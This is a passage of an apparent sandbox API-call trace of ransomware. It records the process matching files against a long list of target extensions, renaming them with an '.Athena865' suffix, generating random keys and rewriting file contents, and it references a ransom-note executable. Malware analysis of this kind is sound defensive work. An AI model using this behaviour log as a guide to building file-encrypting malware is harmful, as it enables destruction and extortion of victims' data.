(lpString="maq") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0108.845] lstrlenW (lpString="mar") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0108.845] lstrlenW (lpString="marshal") returned 7 [0108.845] lstrcmpiW (lpString1="klm.dat", lpString2="marshal") returned -1 [0108.845] lstrlenW (lpString="mas") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0108.845] lstrlenW (lpString="mav") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0108.845] lstrlenW (lpString="maw") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0108.845] lstrlenW (lpString="mdbhtml") returned 7 [0108.846] lstrcmpiW (lpString1="klm.dat", lpString2="mdbhtml") returned -1 [0108.846] lstrlenW (lpString="mdn") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0108.846] lstrlenW (lpString="mdt") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0108.846] lstrlenW (lpString="mfd") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0108.846] lstrlenW (lpString="mpd") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0108.846] lstrlenW (lpString="mrg") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0108.846] lstrlenW (lpString="mud") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0108.846] lstrlenW (lpString="mwb") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0108.846] lstrlenW (lpString="myd") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0108.846] lstrlenW (lpString="ndf") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0108.846] lstrlenW (lpString="nnt") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0108.846] lstrlenW (lpString="nrmlib") returned 6 [0108.846] lstrcmpiW (lpString1="lm.dat", lpString2="nrmlib") returned -1 [0108.846] lstrlenW (lpString="ns2") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0108.846] lstrlenW (lpString="ns3") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0108.846] lstrlenW (lpString="ns4") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0108.846] lstrlenW (lpString="nsf") returned 3 [0108.846] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0108.847] lstrlenW (lpString="nv") returned 2 [0108.847] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0108.847] lstrlenW (lpString="nv2") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0108.847] lstrlenW (lpString="nwdb") returned 4 [0108.847] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0108.847] lstrlenW (lpString="nyf") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0108.847] lstrlenW (lpString="odb") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.847] lstrlenW (lpString="odb") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.847] lstrlenW (lpString="oqy") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0108.847] lstrlenW (lpString="ora") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0108.847] lstrlenW (lpString="orx") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0108.847] lstrlenW (lpString="owc") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0108.847] lstrlenW (lpString="p96") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0108.847] lstrlenW (lpString="p97") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0108.847] lstrlenW (lpString="pan") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0108.847] lstrlenW (lpString="pdb") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0108.847] lstrlenW (lpString="pdm") returned 3 [0108.847] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0108.847] lstrlenW (lpString="pnz") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0108.848] lstrlenW (lpString="qry") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0108.848] lstrlenW (lpString="qvd") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0108.848] lstrlenW (lpString="rbf") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0108.848] lstrlenW (lpString="rctd") returned 4 [0108.848] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0108.848] lstrlenW (lpString="rod") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0108.848] lstrlenW (lpString="rodx") returned 4 [0108.848] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0108.848] lstrlenW (lpString="rpd") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0108.848] lstrlenW (lpString="rsd") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0108.848] lstrlenW (lpString="sas7bdat") returned 8 [0108.848] lstrcmpiW (lpString1="uklm.dat", lpString2="sas7bdat") returned 1 [0108.848] lstrlenW (lpString="sbf") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0108.848] lstrlenW (lpString="scx") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0108.848] lstrlenW (lpString="sdb") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0108.848] lstrlenW (lpString="sdc") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0108.848] lstrlenW (lpString="sdf") returned 3 [0108.848] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0108.848] lstrlenW (lpString="sis") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0108.849] lstrlenW (lpString="spq") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0108.849] lstrlenW (lpString="te") returned 2 [0108.849] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0108.849] lstrlenW (lpString="teacher") returned 7 [0108.849] lstrcmpiW (lpString1="klm.dat", lpString2="teacher") returned -1 [0108.849] lstrlenW (lpString="tmd") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0108.849] lstrlenW (lpString="tps") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0108.849] lstrlenW (lpString="trc") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.849] lstrlenW (lpString="trc") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.849] lstrlenW (lpString="trm") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0108.849] lstrlenW (lpString="udb") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0108.849] lstrlenW (lpString="udl") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0108.849] lstrlenW (lpString="usr") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0108.849] lstrlenW (lpString="v12") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0108.849] lstrlenW (lpString="vis") returned 3 [0108.849] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0108.849] lstrlenW (lpString="vpd") returned 3 [0108.850] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0108.850] lstrlenW (lpString="vvv") returned 3 [0108.850] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0108.850] lstrlenW (lpString="wdb") returned 3 [0108.850] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0108.850] lstrlenW (lpString="wmdb") returned 4 [0108.850] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0108.850] lstrlenW (lpString="wrk") returned 3 [0108.850] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0108.850] lstrlenW (lpString="xdb") returned 3 [0108.850] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0108.850] lstrlenW (lpString="xld") returned 3 [0108.850] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0108.850] lstrlenW (lpString="xmlff") returned 5 [0108.850] lstrcmpiW (lpString1="m.dat", lpString2="xmlff") returned -1 [0108.850] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.Athena865") returned 72 [0108.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.athena865"), dwFlags=0x1) returned 1 [0108.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.852] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3053984) returned 1 [0108.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.853] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.853] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.853] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.854] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e9ca0, lpName=0x0) returned 0x17c [0108.855] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xe9ca0) returned 0x2d50000 [0108.893] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0109.002] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0109.019] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.019] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.019] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.020] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0109.028] CloseHandle (hObject=0x17c) returned 1 [0109.028] CloseHandle (hObject=0x154) returned 1 [0109.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.036] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0109.036] lstrcmpiW (lpString1="hwruksh.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.036] lstrcmpiW (lpString1="hwruksh.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".") returned 1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="..") returned 1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="windows") returned -1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="bootmgr") returned 1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="temp") returned -1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="pagefile.sys") returned -1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="boot") returned 1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="ids.txt") returned -1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="ntuser.dat") returned -1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="perflogs") returned -1 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2="MSBuild") returned -1 [0109.037] lstrlenW (lpString="hwruksh.dat") returned 11 [0109.037] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hwruksh.dat" | out: lpString1="hwruksh.dat") returned="hwruksh.dat" [0109.037] lstrlenW (lpString="hwruksh.dat") returned 11 [0109.037] lstrlenW (lpString="Athena865") returned 9 [0109.037] lstrcmpiW (lpString1="ruksh.dat", lpString2="Athena865") returned 1 [0109.037] lstrlenW (lpString=".dll") returned 4 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".dll") returned 1 [0109.037] lstrlenW (lpString=".lnk") returned 4 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".lnk") returned 1 [0109.037] lstrlenW (lpString=".ini") returned 4 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".ini") returned 1 [0109.037] lstrlenW (lpString=".sys") returned 4 [0109.037] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".sys") returned 1 [0109.037] lstrlenW (lpString="hwruksh.dat") returned 11 [0109.037] lstrlenW (lpString="bak") returned 3 [0109.037] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0109.037] lstrlenW (lpString="ba_") returned 3 [0109.037] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0109.037] lstrlenW (lpString="dbb") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0109.038] lstrlenW (lpString="vmdk") returned 4 [0109.038] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0109.038] lstrlenW (lpString="rar") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0109.038] lstrlenW (lpString="zip") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0109.038] lstrlenW (lpString="tgz") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0109.038] lstrlenW (lpString="vbox") returned 4 [0109.038] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0109.038] lstrlenW (lpString="vdi") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0109.038] lstrlenW (lpString="vhd") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0109.038] lstrlenW (lpString="vhdx") returned 4 [0109.038] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0109.038] lstrlenW (lpString="avhd") returned 4 [0109.038] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0109.038] lstrlenW (lpString="db") returned 2 [0109.038] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0109.038] lstrlenW (lpString="db2") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0109.038] lstrlenW (lpString="db3") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0109.038] lstrlenW (lpString="dbf") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0109.038] lstrlenW (lpString="mdf") returned 3 [0109.038] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0109.038] lstrlenW (lpString="mdb") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0109.039] lstrlenW (lpString="sql") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0109.039] lstrlenW (lpString="sqlite") returned 6 [0109.039] lstrcmpiW (lpString1="sh.dat", lpString2="sqlite") returned -1 [0109.039] lstrlenW (lpString="sqlite3") returned 7 [0109.039] lstrcmpiW (lpString1="ksh.dat", lpString2="sqlite3") returned -1 [0109.039] lstrlenW (lpString="sqlitedb") returned 8 [0109.039] lstrcmpiW (lpString1="uksh.dat", lpString2="sqlitedb") returned 1 [0109.039] lstrlenW (lpString="xml") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0109.039] lstrlenW (lpString="$er") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0109.039] lstrlenW (lpString="4dd") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0109.039] lstrlenW (lpString="4dl") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0109.039] lstrlenW (lpString="^^^") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0109.039] lstrlenW (lpString="abs") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0109.039] lstrlenW (lpString="abx") returned 3 [0109.039] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0109.039] lstrlenW (lpString="accdb") returned 5 [0109.039] lstrcmpiW (lpString1="h.dat", lpString2="accdb") returned 1 [0109.039] lstrlenW (lpString="accdc") returned 5 [0109.039] lstrcmpiW (lpString1="h.dat", lpString2="accdc") returned 1 [0109.039] lstrlenW (lpString="accde") returned 5 [0109.039] lstrcmpiW (lpString1="h.dat", lpString2="accde") returned 1 [0109.039] lstrlenW (lpString="accdr") returned 5 [0109.040] lstrcmpiW (lpString1="h.dat", lpString2="accdr") returned 1 [0109.040] lstrlenW (lpString="accdt") returned 5 [0109.040] lstrcmpiW (lpString1="h.dat", lpString2="accdt") returned 1 [0109.040] lstrlenW (lpString="accdw") returned 5 [0109.040] lstrcmpiW (lpString1="h.dat", lpString2="accdw") returned 1 [0109.040] lstrlenW (lpString="accft") returned 5 [0109.040] lstrcmpiW (lpString1="h.dat", lpString2="accft") returned 1 [0109.040] lstrlenW (lpString="adb") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0109.040] lstrlenW (lpString="adb") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0109.040] lstrlenW (lpString="ade") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0109.040] lstrlenW (lpString="adf") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0109.040] lstrlenW (lpString="adn") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0109.040] lstrlenW (lpString="adp") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0109.040] lstrlenW (lpString="alf") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0109.040] lstrlenW (lpString="ask") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0109.040] lstrlenW (lpString="btr") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0109.040] lstrlenW (lpString="cat") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0109.040] lstrlenW (lpString="cdb") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0109.040] lstrlenW (lpString="ckp") returned 3 [0109.040] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0109.041] lstrlenW (lpString="cma") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0109.041] lstrlenW (lpString="cpd") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0109.041] lstrlenW (lpString="dacpac") returned 6 [0109.041] lstrcmpiW (lpString1="sh.dat", lpString2="dacpac") returned 1 [0109.041] lstrlenW (lpString="dad") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0109.041] lstrlenW (lpString="dadiagrams") returned 10 [0109.041] lstrcmpiW (lpString1="wruksh.dat", lpString2="dadiagrams") returned 1 [0109.041] lstrlenW (lpString="daschema") returned 8 [0109.041] lstrcmpiW (lpString1="uksh.dat", lpString2="daschema") returned 1 [0109.041] lstrlenW (lpString="db-journal") returned 10 [0109.041] lstrcmpiW (lpString1="wruksh.dat", lpString2="db-journal") returned 1 [0109.041] lstrlenW (lpString="db-shm") returned 6 [0109.041] lstrcmpiW (lpString1="sh.dat", lpString2="db-shm") returned 1 [0109.041] lstrlenW (lpString="db-wal") returned 6 [0109.041] lstrcmpiW (lpString1="sh.dat", lpString2="db-wal") returned 1 [0109.041] lstrlenW (lpString="dbc") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0109.041] lstrlenW (lpString="dbs") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0109.041] lstrlenW (lpString="dbt") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0109.041] lstrlenW (lpString="dbv") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0109.041] lstrlenW (lpString="dbx") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0109.041] lstrlenW (lpString="dcb") returned 3 [0109.041] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0109.041] lstrlenW (lpString="dct") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0109.042] lstrlenW (lpString="dcx") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0109.042] lstrlenW (lpString="ddl") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0109.042] lstrlenW (lpString="dlis") returned 4 [0109.042] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0109.042] lstrlenW (lpString="dp1") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0109.042] lstrlenW (lpString="dqy") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0109.042] lstrlenW (lpString="dsk") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0109.042] lstrlenW (lpString="dsn") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0109.042] lstrlenW (lpString="dtsx") returned 4 [0109.042] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0109.042] lstrlenW (lpString="dxl") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0109.042] lstrlenW (lpString="eco") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0109.042] lstrlenW (lpString="ecx") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0109.042] lstrlenW (lpString="edb") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0109.042] lstrlenW (lpString="epim") returned 4 [0109.042] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0109.042] lstrlenW (lpString="fcd") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0109.042] lstrlenW (lpString="fdb") returned 3 [0109.042] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0109.043] lstrlenW (lpString="fic") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0109.043] lstrlenW (lpString="flexolibrary") returned 12 [0109.043] lstrlenW (lpString="fm5") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0109.043] lstrlenW (lpString="fmp") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0109.043] lstrlenW (lpString="fmp12") returned 5 [0109.043] lstrcmpiW (lpString1="h.dat", lpString2="fmp12") returned 1 [0109.043] lstrlenW (lpString="fmpsl") returned 5 [0109.043] lstrcmpiW (lpString1="h.dat", lpString2="fmpsl") returned 1 [0109.043] lstrlenW (lpString="fol") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0109.043] lstrlenW (lpString="fp3") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0109.043] lstrlenW (lpString="fp4") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0109.043] lstrlenW (lpString="fp5") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0109.043] lstrlenW (lpString="fp7") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0109.043] lstrlenW (lpString="fpt") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0109.043] lstrlenW (lpString="frm") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0109.043] lstrlenW (lpString="gdb") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0109.043] lstrlenW (lpString="gdb") returned 3 [0109.043] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0109.043] lstrlenW (lpString="grdb") returned 4 [0109.043] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0109.044] lstrlenW (lpString="gwi") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0109.044] lstrlenW (lpString="hdb") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0109.044] lstrlenW (lpString="his") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0109.044] lstrlenW (lpString="ib") returned 2 [0109.044] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0109.044] lstrlenW (lpString="idb") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0109.044] lstrlenW (lpString="ihx") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0109.044] lstrlenW (lpString="itdb") returned 4 [0109.044] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0109.044] lstrlenW (lpString="itw") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0109.044] lstrlenW (lpString="jet") returned 3 [0109.044] 